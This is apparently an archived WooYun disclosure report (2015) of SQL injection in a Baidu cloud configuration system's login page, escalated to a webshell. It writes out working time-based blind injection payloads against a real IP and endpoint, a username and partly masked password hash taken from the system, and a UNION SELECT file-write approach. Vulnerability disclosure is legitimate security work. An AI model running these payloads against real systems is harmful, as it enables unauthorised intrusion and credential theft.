当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0156722

漏洞标题：百度某系统SQL注入到Getshell

相关厂商：百度

漏洞作者： 玉林嘎

提交时间：2015-11-29 09:19

修复时间：2016-01-13 12:20

公开时间：2016-01-13 12:20

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：20

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-11-29： 细节已通知厂商并且等待厂商处理中
2015-11-29： 厂商已经确认，细节仅向厂商公开
2015-12-09： 细节向核心白帽子及相关领域专家公开
2015-12-19： 细节向普通白帽子公开
2015-12-29： 细节向实习白帽子公开
2016-01-13： 细节向公众公开

简要描述：

rt

详细说明：

http://103.235.46.165 百度云主防配置系统

http://103.235.46.165/index.php/Manage/login
post:username=test&password=test
{"status":0,"info":"用户密码不正确","data":false}


http://103.235.46.165/index.php/Manage/login
post:username=test'&password=test
{"status":0,"info":"用户名不存在","data":false}


登录点是 无论用户名密码对错都是用户密码不正确 但是' 出现用户名不存在
post:username=test' or sleep(1)#&password=test 延迟10秒 里面有8个用户好像

1.png


sqlmap可以跑 但是非常非常慢 几乎跑不出 跑半天一个字母没看到
登录处 那就直接查同表信息 登录即可

username=test' or username like '%' and sleep(1)#&password=test


延时 字段username 同理password也存在
先读个用户名出来 

username=test' or username like 't%' and sleep(1)#&password=test


延迟了 依次注出用户 tanguangxi

username=tanguangxi' and password like '3%' and sleep(5)#&password=test


依次注出password
31c724c7395d4367dfa6d4**********
解出登录

2.png


后台有2个地方可上传任意文件 却不返回路径
有几处连接报错

3.png


猜测上传路径 无果
苦死很久 想一想回到登录位置 看下注入权限咋样 毕竟拿到路径了

5.png


不是root 但是不是root不代表没权限
直接union select写文件试试
order by出字段为9

6.png


4.png


7.png


QQ图片20151129011258.png


这台服务器应该还是挺重要的样子
shell几分钟断一次 以为是负载均衡 又不像 未深入

漏洞证明：

http://103.235.46.165 百度云主防配置系统

http://103.235.46.165/index.php/Manage/login
post:username=test&password=test
{"status":0,"info":"用户密码不正确","data":false}


http://103.235.46.165/index.php/Manage/login
post:username=test'&password=test
{"status":0,"info":"用户名不存在","data":false}


登录点是 无论用户名密码对错都是用户密码不正确 但是' 出现用户名不存在
post:username=test' or sleep(1)#&password=test 延迟10秒 里面有8个用户好像

1.png


sqlmap可以跑 但是非常非常慢 几乎跑不出 跑半天一个字母没看到
登录处 那就直接查同表信息 登录即可

username=test' or username like '%' and sleep(1)#&password=test


延时 字段username 同理password也存在
先读个用户名出来 

username=test' or username like 't%' and sleep(1)#&password=test


延迟了 依次注出用户 tanguangxi

username=tanguangxi' and password like '3%' and sleep(5)#&password=test


依次注出password
31c724c7395d4367dfa6d4**********
解出登录

2.png


后台有2个地方可上传任意文件 却不返回路径
有几处连接报错

3.png


猜测上传路径 无果
苦死很久 想一想回到登录位置 看下注入权限咋样 毕竟拿到路径了

5.png


不是root 但是不是root不代表没权限
直接union select写文件试试
order by出字段为9

6.png


4.png


7.png


QQ图片20151129011258.png


这台服务器应该还是挺重要的样子
shell几分钟断一次 以为是负载均衡 又不像 未深入

修复方案：

修复

版权声明：转载请注明来源 玉林嘎@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：20

确认时间：2015-11-29 12:19

厂商回复：

非常感谢您的报告，问题已着手处理，感谢您对百度安全的关注。如果您有任何疑问，欢迎反馈，我们会有专人跟进处理。

最新状态：

暂无

漏洞评价：

评价

  1. 2015-11-29 09:24 | 逆流冰河 ( 普通白帽子 | Rank:370 漏洞数:86 | 逆水行舟难于恒，流水年华苦于今，冰天...)

    第一排

  2. 2015-11-29 09:38 | answer 认证白帽子 ( 普通白帽子 | Rank:397 漏洞数:49 | 答案)

    前排

  3. 2015-11-29 09:48 | 镱鍚 ( 实习白帽子 | Rank:50 漏洞数:9 | 。。！)

    前排。看姿势

  4. 2015-11-29 10:01 | 奶嘴 ( 路人 | Rank:28 漏洞数:18 | 菜鸟白帽)

    SS同上

  5. 2015-11-29 10:39 | Mark0smith ( 实习白帽子 | Rank:99 漏洞数:36 )

    6666666

  6. 2015-11-29 10:47 | 举起手来 ( 核心白帽子 | Rank:1074 漏洞数:106 | 准备好，举起手来！)

    哥留的洞，几个月了，都被你们撸了，草

  7. 2015-11-29 10:55 | 牛肉包子 ( 普通白帽子 | Rank:262 漏洞数:66 | baozisec)

    嘎嘎吃药了

  8. 2015-11-29 12:06 | waking-云狐 ( 路人 | Rank:0 漏洞数:1 | 别问我为什么！)

    前排卖套套,大号，精装

  9. 2015-11-29 12:18 | _Thorns ( 普通白帽子 | Rank:1612 漏洞数:241 | WooYun is the Bigest gay place :))

    基佬你也吃伟哥了！！！

  10. 2015-11-29 12:50 | 撸管 ( 路人 | Rank:6 漏洞数:6 | QQ94170844 不再玩wooyun)

    哥留的洞，几个月了，都被你们撸了，草

  11. 2015-11-29 16:54 | Exploit DB ( 路人 | Rank:2 漏洞数:1 | 最帅的小白，刚混乌云，求大牛多多关照)

    沃日！！百度getshell？前排求关注

  12. 2015-12-19 13:17 | _Thorns ( 普通白帽子 | Rank:1612 漏洞数:241 | WooYun is the Bigest gay place :))

    每天最开心的就是基佬漏洞公开的那一时刻。

  13. 2015-12-19 13:19 | 心云 ( 普通白帽子 | Rank:184 漏洞数:57 | Rank:200 漏洞数:55 | Rank:300 漏洞数:70 ...)

    20到手 666

  14. 2015-12-19 13:23 | 玉林嘎 认证白帽子 ( 核心白帽子 | Rank:900 漏洞数:104 )

    @_Thorns 最不开心的就是看你的漏洞 提醒：级别足够但是无法查看 Rank 高于自己的白帽子漏洞

  15. 2015-12-31 15:54 | Manning ( 普通白帽子 | Rank:844 漏洞数:109 | https://github.com/manning23/MSpider)

    666,这些ip段真是准啊

  16. 2015-12-31 16:01 | whynot ( 普通白帽子 | Rank:532 漏洞数:94 | 为你解冻冰河 为你放弃世界有何不可)

    @玉林嘎 666

  17. 2015-12-31 18:26 | Exploit DB ( 路人 | Rank:2 漏洞数:1 | 最帅的小白，刚混乌云，求大牛多多关照)

    提醒：级别足够但是无法查看 Rank 高于自己的白帽子漏洞 ( 可以等待进一步公开或者支付 10 个乌云币提前查看 确定支付并查看 ) 最悲惨的事情发生了...